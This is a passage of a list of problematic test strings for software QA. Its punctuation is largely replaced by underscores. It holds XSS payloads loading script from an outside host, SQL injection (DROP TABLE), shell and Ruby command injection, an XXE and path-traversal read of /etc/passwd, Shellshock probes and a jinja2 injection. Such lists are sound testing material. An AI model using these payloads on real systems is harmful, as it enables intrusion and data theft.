_SCRIPT_SRC=http:__ha.ckers.org_xss.js___B__
_SCRIPT_SRC=__ha.ckers.org_.j_
_IMG_SRC=_javascript:alert('222')_
_iframe_src=http:__ha.ckers.org_scriptlet.html__
__;alert('223');__
_u_oncopy=alert()__Copy_me__u_
_i_onwheel=alert(224)__Scroll_over_me___i_
_plaintext_
http:__a___30_30
__textarea__script_alert(225)__script_
_
__SQL_Injection
_
__Strings_which_can_cause_a_SQL_injection_if_inputs_are_not_sanitized
_
1;DROP_TABLE_users
1';_DROP_TABLE_users--_1
'_OR_1=1_--_1
'_OR_'1'='1
';_EXEC_sp_MSForEachTable_'DROP_TABLE__';_--
_
_
_
_
__Server_Code_Injection
_
__Strings_which_can_cause_user_to_run_code_on_server_as_a_privileged_user_(c.f._https:__news.ycombinator.com_item_id=7665153)
_
-
--
--version
--help
$USER
_dev_null;_touch__tmp_blns.fail_;_echo
_touch__tmp_blns.fail_
$(touch__tmp_blns.fail)
@__system__touch__tmp_blns.fail___
_
__Command_Injection_(Ruby)
_
__Strings_which_can_call_system_commands_within_Ruby_Rails_applications
_
eval(_puts_'hello_world'_)
System(_ls_-al___)
_ls_-al___
Kernel.exec(_ls_-al___)
Kernel.exit(1)
_x('ls_-al__')
_
_______XXE_Injection_(XML)
_
__String_which_can_reveal_system_files_when_parsed_by_a_badly_configured_XML_parser
_
__xml_version=_1.0__encoding=_ISO-8859-1____!DOCTYPE_foo____!ELEMENT_foo_ANY___!ENTITY_xxe_SYSTEM__file:___etc_passwd______foo__xxe;__foo_
_
__Unwanted_Interpolation
_
__Strings_which_can_be_accidentally_expanded_into_different_strings_if_evaluated_in_the_wrong_context,_e.g._used_as_a_printf_format_string_or_via_Perl_or_shell_eval._Might_expose_sensitive_data_from_the_program_doing_the_interpolation,_or_might_just_repr.
_
$HOME
$ENV_'HOME'_
_d
_s_s_s_s_s
_0_
_*.*s
_@
_n
File:___
_
__File_Inclusion
_
__Strings_which_can_cause_user_to_pull_in_files_that_should_not_be_a_part_of_a_web_server
_
.._.._.._.._.._.._.._.._.._.._.._etc_passwd_00
.._.._.._.._.._.._.._.._.._.._.._etc_hosts
_
__Known_CVEs_and_Vulnerabilities
_
__Strings_that_test_for_known_vulnerabilities
_
()___0;__;_touch__tmp_blns.shellshock1.fail;
()____;______$($())____touch__tmp_blns.shellshock2.fail;__
_____s(un='_s')_=__u
+++ATH0
_
__MSDOS_Windows_Special_Filenames
_
__Strings_which_are_reserved_characters_in_MSDOS_Windows
_
CON
PRN
AUX
CLOCK$
NUL
A:
ZZ:
COM1
LPT1
LPT2
LPT3
COM2
COM3
COM4
_
____IRC_specific_strings
_
____Strings_that_may_occur_on_IRC_clients_that_make_security_products_freak_out
_
DCC_SEND_STARTKEYLOGGER_0_0_0
_
__Scunthorpe_Problem
_
__Innocuous_strings_which_may_be_blocked_by_profanity_filters_(https:__en.wikipedia.org_wiki_Scunthorpe_problem)
_
Scunthorpe_General_Hospital
Penistone_Community_Church
Lightwater_Country_Park
Jimmy_Clitheroe
Horniman_Museum
shitake_mushrooms
RomansInSussex.co.uk
http:__www.cum.qc.ca_
Craig_Cockburn,_Software_Specialist
Linda_Callahan
Dr._Herman_I._Libshitz
magna_cum_laude
Super_Bowl_XXX
medieval_erection_of_parapets
evaluate
mocha
expression
Arsenal_canal
classic
Tyson_Gay
Dick_Van_Dyke
basement
_
__Human_injection
_
__Strings_which_may_cause_human_to_reinterpret_worldview
_
If_you're_reading_this,_you've_been_in_a_coma_for_almost_20_years_now._We're_trying_a_new_technique._We_don't_know_where_this_message_will_end_up_in_your_dream,_but_we_hope_it_works._Please_wake_up,_we_miss_you.
_
__Terminal_escape_codes
_
__Strings_which_punish_the_fools_who_use_cat_type_on_this_file
_
Roses_are___0;31mred__0m,_violets_are___0;34mblue._Hope_you_enjoy_terminal_hue
But_now...__20Cfor_my_greatest_trick...__8m
The_quic______k_brown_fo___________x...__Beeeep_
_
__iOS_Vulnerabilities
_
__Strings_which_crashed_iMessage_in_various_versions_of_iOS
_
Powerلُلُصّبُلُلصّبُررً_ॣ_ॣh_ॣ_ॣ冗
🏳0🌈️
జ్ఞ‌ా
_
__Persian_special_characters
_
__This_is_a_four_characters_string_which_includes_Persian_special_characters_(گچپژ)
_
گچپژ
_
__jinja2_injection
_
__first_one_is_supposed_to_raise__MemoryError__exception
__second,_obviously,_prints_contents_of__etc_passwd
_
___print_'x'_*_64_*_1024**3___
_____.__class__.__mro___2_.__subclasses__()_40_(__etc_passwd_).read()___